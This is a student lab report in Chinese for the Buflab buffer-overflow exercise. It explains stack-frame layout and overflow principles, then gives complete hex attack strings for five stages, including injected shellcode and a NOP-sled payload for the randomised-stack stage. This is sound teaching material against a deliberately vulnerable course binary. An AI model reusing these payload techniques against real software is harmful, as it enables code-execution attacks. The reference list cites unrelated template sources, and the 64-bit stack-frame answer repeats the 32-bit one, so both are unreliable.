

**实验报告**

**实 验（四）**

题 目 Buflab 缓冲器漏洞攻击

专 业 计算机科学与技术

学　　号 1160300318

班　　级 1636101

学 生 任瀚祥

指 导 教 师 史先俊

实 验 地 点 管理学院709

实 验 日 期

**计算机科学与技术学院**

**目 录**

第1章 实验基本信息 3

1.1 实验目的 3

1.2 实验环境与工具 3

1.2.1 硬件环境 3

1.2.3 开发工具 3

1.3 实验预习 4

第2章 实验预习 5

2.1 请按照入栈顺序，写出C语言32位环境下的栈帧结构（5分） 5

2.2请按照入栈顺序，写出C语言64位环境下的栈帧结构（5分） 5

2.3请简述缓冲区溢出的原理及危害（5分） 5

2.4请简述缓冲器溢出漏洞的攻击方法（5分） 6

2.5请简述缓冲器溢出漏洞的防范方法（5分） 6

第3章 各阶段漏洞攻击原理与方法 7

3.1 Smoke阶段1的攻击与分析 7

3.2 Fizz的攻击与分析 7

3.3 Bang的攻击与分析 7

3.4 Boom的攻击与分析 8

3.5 Nitro的攻击与分析 8

第4章 总结 17

4.1 请总结本次实验的收获 17

4.2 请给出对本次实验内容的建议 17

参考文献 18

第1章 实验基本信息

1.1 实验目的

了解C语 函数的汇编级实现及缓冲 溢出原理  
掌握栈帧结构与缓冲 溢出 的攻击设计方法  
进一步熟练使 Linux下的调试工具完成机器语言的跟踪调试

1.2 实验环境与工具

1.2.1 硬件环境

1. Computer

Shinelon 炎魔青春版

2. CPU

i7-4710MQ@2.50GHz

3. Memory

16GB DDR3

4. Graphics Card

Nvidia GTX 960M

Intel HD Graphics 4600

5. SSD 256GB, HDD 1TB.

1.2.2 软件环境

1. OS

Windows 10

openSUSE Tumbleweed

1.2.3 开发工具

1. Compiler

GCC 7.2.1

2. Text Editor & IDE

Emacs

Vscode

Vs Community 2017

1.3 实验预习

无

第2章 实验预习

2.1 请按照入栈顺序，写出C语言32位环境下的栈帧结构（5分）

1. 参数逆序入栈
2. 返回地址入栈
3. ebp入栈
4. 局部变量入栈

2.2请按照入栈顺序，写出C语言64位环境下的栈帧结构（5分）

1. 参数逆序入栈
2. 返回地址入栈
3. ebp入栈
4. 局部变量入栈

下面是一个128byte 的红区, 可以给当前函数的子函数进行调用而无需显式的移动栈指针.

除了这些区别, 64位机下的 rdi, rsi rdx rcx r8, r9 …. 可以用来传递函数的参数而无需压栈.

在某些编译器中, 以上的寄存器甚至可以用来充当局部变量的存储地址.

2.3请简述缓冲区溢出的原理及危害（5分）

主要是由于从外部数据源读取数据的时候没有考虑对数据长度的检查, 导致了数组越界从而对非法位置进行了读写.

主要的危害有:

1. 导致程序崩溃.

2. 可以向程序中插入恶意代码. 控制程序, 甚至控制计算机. 导致信息泄漏.

2.4请简述缓冲器溢出漏洞的攻击方法（5分）

分析需要攻击的函数的栈帧结构, 知道自己的攻击字符串的读入位置, 明确需要攻击的目标(返回地址, 函数参数…) 然后, 编写攻击字符串, 保证自己的攻击字符串可以覆盖掉需要的内容. 如果需要插入恶意代码的话, 首先需要编写汇编语言, 通过 gcc 编译之后反汇编成字节码, 然后给目标函数读入. 通过设计好的跳转指令就可以让计算机跳转到你编写的代码处.

2.5请简述缓冲器溢出漏洞的防范方法（5分）

1. 编写程序的时候使用没有漏洞的函数, 比如说强制检查边界的函数等等.
2. 堆栈检查
3. 栈地址随机化方法.

第3章 各阶段漏洞攻击原理与方法

每阶段25分，文本10分，分析15分，总分不超过80分

0a 是文件尾的终止符

3.1 Smoke阶段1的攻击与分析

文本如下：0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 bb8b 0408

0a

分析过程：解题的关键在于找到 smoke 函数的地址, objdump 反汇编之后可以直接搜到这个地址, 然后, 构建一个长度34的字符串, 在后面加上这个地址就是我们需要的攻击字符串

3.2 Fizz的攻击与分析

文本如下：0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 e88b 0408

0000 0000 da82 b361 0a

分析过程：同样, 先找到这个函数的地址, 然后再考虑如何插入自己的cookie, 可以发现自己的cookie就在返回地址的后面. 于是把插入的字符串变长一点就可以了.

3.3 Bang的攻击与分析

文本如下：0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 7b3e 6855

0000 00c7 0560 e104 08da 82b3 6168 398c

0408 c30a

分析过程：题目要求我们修改某个全局变量的值, 我们首先可以找到这个全局变量的地址, 然后我们可以直接从汇编里面读出这个原来函数的返回地址, 我们就只需要把原来函数的返回地址变成自己恶意代码的地址, 同时自己的恶意代码在执行结束之后 push 原函数的返回地址, 然后 ret 就可以返回到原来的函数了

3.4 Boom的攻击与分析

文本如下：00b8 da82 b361 68a7 8c04 08c3 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 903e 6855 493e 6855

0a

分析过程：只需要对上面的程序做一个小小的修改, 在返回之前恢复父级函数的 ebp 即可.

3.5 Nitro的攻击与分析

文本如下：903e 6855 903e 6855 b03e 6855 903e 6855

803e 6855 9090 9090 9090 9090 9090 9090

9090 9090 9090 9090 9090 9090 9090 9090

9090 9090 9090 9090 9090 9090 9090 9090

9090 9090 9090 9090 9090 9090 e800 0000

0058 8b6c b8af 896d e047 b8da 82b3 6168

218d 0408 c300 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 8c3c 6855

0a90 3e68 5590 3e68 55b0 3e68 5590 3e68

5580 3e68 5590 9090 9090 9090 9090 9090

9090 9090 9090 9090 9090 9090 9090 9090

9090 9090 9090 9090 9090 9090 9090 9090

9090 9090 9090 9090 9090 9090 90e8 0000

0000 588b 6cb8 af89 6de0 47b8 da82 b361

6821 8d04 08c3 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 008c 3c68

550a 903e 6855 903e 6855 b03e 6855 903e

6855 803e 6855 9090 9090 9090 9090 9090

9090 9090 9090 9090 9090 9090 9090 9090

9090 9090 9090 9090 9090 9090 9090 9090

9090 9090 9090 9090 9090 9090 9090 e800

0000 0058 8b6c b8af 896d e047 b8da 82b3

6168 218d 0408 c300 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 8c3c

6855 0a90 3e68 5590 3e68 55b0 3e68 5590

3e68 5580 3e68 5590 9090 9090 9090 9090

9090 9090 9090 9090 9090 9090 9090 9090

9090 9090 9090 9090 9090 9090 9090 9090

9090 9090 9090 9090 9090 9090 9090 90e8

0000 0000 588b 6cb8 af89 6de0 47b8 da82

b361 6821 8d04 08c3 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 008c

3c68 550a 903e 6855 903e 6855 b03e 6855

903e 6855 803e 6855 9090 9090 9090 9090

9090 9090 9090 9090 9090 9090 9090 9090

9090 9090 9090 9090 9090 9090 9090 9090

9090 9090 9090 9090 9090 9090 9090 9090

e800 0000 0058 8b6c b8af 896d e047 b8da

82b3 6168 218d 0408 c300 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

8c3c 6855 0a90 3e68 5590 3e68 55b0 3e68

5590 3e68 5580 3e68 5590 9090 9090 9090

9090 9090 9090 9090 9090 9090 9090 9090

9090 9090 9090 9090 9090 9090 9090 9090

9090 9090 9090 9090 9090 9090 9090 9090

90e8 0000 0000 588b 6cb8 af89 6de0 47b8

da82 b361 6821 8d04 08c3 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

0000 0000 0000 0000 0000 0000 0000 0000

008c 3c68 550a

分析过程：由于地址产生了变化, 但是实际上代码是一个伪随机，实际上是五个固定的 ebp 地址，我们只需要确定当前是哪种情况就可以了. 并且 getbufn 给我们的字符串的长度大大增加, 给了我们更多的施展空间, 所以, 关键是如何使得在地址变化的情况下还能跳转到我们的恶意代码, 可以采用填充nop的方式, 也就是我们在某一段填充大量的nop, 然后把恶意代码写在这一段 nop 的后面, 实际跳转的时候我们只需要跳转到某个绝对地址, 同时保证这个地址在栈起始地址变化的时候还能在填充的 nop 段内，那么就可以保证可以执行到我们的恶意代码。

同时，我发现 rdi 是没有用的一个寄存器，所以我把它拿来当了一个计数器, 用来得知现在是在代码执行的那个阶段. 这样子的话，就可以用一个字符串来完成对所有情况的攻击.

第4章 总结

4.1 请总结本次实验的收获

4.2 请给出对本次实验内容的建议

注：本章为酌情加分项。

参考文献

**为完成本次实验你翻阅的书籍与网站等**

[1] 林来兴. 空间控制技术[M]. 北京：中国宇航出版社，1992：25-42.

[2] 辛希孟. 信息技术与信息服务国际研讨会论文集：A集[C]. 北京：中国科学出版社，1999.

[3] 赵耀东. 新时代的工业工程师[M/OL]. 台北：天下文化出版社，1998 [1998-09-26]. http://www.ie.nthu.edu.tw/info/ie.newie.htm（Big5）.

[4] 谌颖. 空间交会控制理论与方法研究[D]. 哈尔滨：哈尔滨工业大学，1992：8-13.

[5] KANAMORI H. Shaking Without Quaking[J]. Science，1998，279（5359）：2063-2064.

[6] CHRISTINE M. Plant Physiology: Plant Biology in the Genome Era[J/OL]. Science，1998，281：331-332[1998-09-23]. http://www.sciencemag.org/cgi/ collection/anatmorp.